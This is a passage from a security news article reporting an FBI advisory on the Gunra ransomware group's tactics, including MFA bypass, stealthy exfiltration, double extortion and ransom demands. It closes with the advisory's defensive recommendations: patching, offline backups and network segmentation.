present. They subsequently established connections between the compromised systems and an external attacker-controlled server by downloading the SSH tunnelling tool OpenSSH. In another example cited, the attackers enabled the continuous bypass of multi-factor authentication (MFA) by modifying authentication processing files on the corporate VDI authentication portal server. Commenting on the advisory, Jacob Krell, senior director, secure AI solutions and cybersecurity at Suzu Labs, noted that both vulnerabilities have been exploited by multiple ransomware groups, with victims often still able to be targeted even after applying fixes. “Patching fixes the entry point. It does nothing about an authentication backdoor already embedded in the MFA flow. I've seen organizations close the vulnerability and declare themselves clean while the attacker's persistence mechanism sat untouched in the auth stack,” he commented. Attackers Use Stealth to Exfiltrate Vast Volumes of Data Gunra actors are also adept at stealthy lateral movement and exfiltrating large volumes of data from victim environments before defenders are aware of their presence. This is designed to ensure an effective double-extortion strategy – forcing victims to pay both to have their files decrypted and for the exfiltrated data not to be published online. The advisory said that Gunra employs multiple stealth and defense impairment techniques to hinder detection and analysis while moving across networks using stolen credentials and authentication bypass techniques. This includes deleting system and network access logs and clearing command history. Notably, the group primarily conducts malicious activities and internal infrastructure reconnaissance between the hours of 10.00pm and 6.00am in the victim’s time zone, while administrators are typically offline. Roman Sannikov, global research coordinator at iCOUNTER, said that security teams should take particular note of Gunra’s “out of hours” activities. “If your detection coverage drops off overnight, that's exactly the gap this group, now also operating under the alias Golden Community, is built to exploit,” he said. The ransomware binary used by the group includes extensive filtering rules to focus only on files that are consistent with user data. This is to avoid dedicating encryption resources to non-critical files and streamline the collection of user-specific data, according to the advisory. The FBI has observed Gunra actors use a malicious executable to exfiltrate victim data from Microsoft OneDrive and SharePoint. In at least one case, the actors successfully exfiltrated up to tens of terabytes of data by generating compressed archives with sensitive data and exfiltrating the archives to the file-sharing service Mega. Gunra Ransom Demands in the 10s of Millions The group’s ransom notes generally start negotiations by demanding tens of millions of dollars, which the report described as “arbitrarily high.” Victims are typically given five to seven days to begin negotiations via a Tor-based negotiation portal. In some cases, the group has even attempted to communicate directly with management staff at victim organizations via email. Threats of data leaked being on Gunra’s data leak site are made if the victims fail to engage in negotiations or make a payment. Victims have spanned regions throughout the world, and multiple critical sectors, including healthcare, financial services, government organizations and critical manufacturing. Defending Against the Gunra Threat The advisory urged organizations to focus on three key areas to counter the tactics employed by Gunra. These are: Prioritizing patching known exploited vulnerabilities in internet-facing systems, including virtual private network (VPN) gateways and remote desktop protocol (RDP)-exposed infrastructure Implementing and testing offline, immutable backups stored in a physically separate, segmented location to ensure recoverability without ransom payment Segmenting networks to restrict lateral movement from an initially compromised device to other systems in the organization
infosecurity-magazine.comAug 12, 2026extracted
Loading 40 more…